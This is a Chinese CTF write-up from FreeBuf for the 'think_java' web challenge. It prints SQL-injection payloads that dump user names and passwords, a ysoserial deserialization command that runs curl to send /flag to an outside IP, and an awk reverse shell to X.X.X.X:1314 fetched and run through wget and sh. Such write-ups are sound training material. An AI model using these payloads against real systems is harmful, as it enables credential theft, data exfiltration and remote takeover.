freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

2020-网鼎杯-朱雀组-Web-think_java writeup
2021-04-23 19:22:58

题目地址:    https://www.ctfhub.com/#/challenge

解题过程

打开网站如下提示:

把题目给出的class文件直接扔到IDEA里面看里面代码用jd-gui反编译或者使用fernflower反编译都可以

在/common/test/sqlDict下 dbName 参数没有任何过滤带入到数据库查询 存在SQL注入漏洞。

查看源代码发现swagger-ui api接口

url地址后面加上swagger-ui.html 访问如下图:

sql注入语句

dbName=myapp?#' union/**/select/**/group_concat(SCHEMA_NAME)from(information_schema.schemata)#

dbName=myapp#'union/**/select/**/group_concat(column_name)from(information_schema.columns)where(table_name='user')and(table_schema='myapp')#

dbName=myapp# 'union/**/select/**/group_concat(name)from(user)#

dbName=myapp#'union/**/select/**/group_concat(pwd)from(user)#

返回一个auth 头:

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm82RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==

关于上面那段数据的解释:

登录获得token

熟悉java一看就知道是java的序列化后的base64编码(如果以aced则为java序列化后的hex编码)

然后我们把返回的data值输入到/common/user/current接口中,则显示操作成功

auth 头是一个序列化后的信息,在查看用户信息时提交这个Bearer token进行反序列化

在github下载ysoserial工具 找一个外网IP监听任意端口 在终端输入如下命令:

java -jar ysoserial-master.jar ROME "curl http://X.X.X.X -d @/flag" > freebuf.bin

使用python编写如下代码:(或者使用burp里面的编码模块)

import base64
file = open("freebuf.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print("Bearer "+ba)
file.close()

本以为能直接拿到flag 在题目提示里flag为随机命名,所以要拿到shell权限,很多小伙伴卡在这块。

使用msf生成meterpreter shell回话总是close

最终先把反弹代码写入到x.sh文件 再使用wget命令下载 然后再执行/bin/sh x.sh 命令一定要用base64编码。

awk 'BEGIN{s="/inet/tcp/0/X.X.X.X/1314";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
# CTF writeup # ctf试题
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录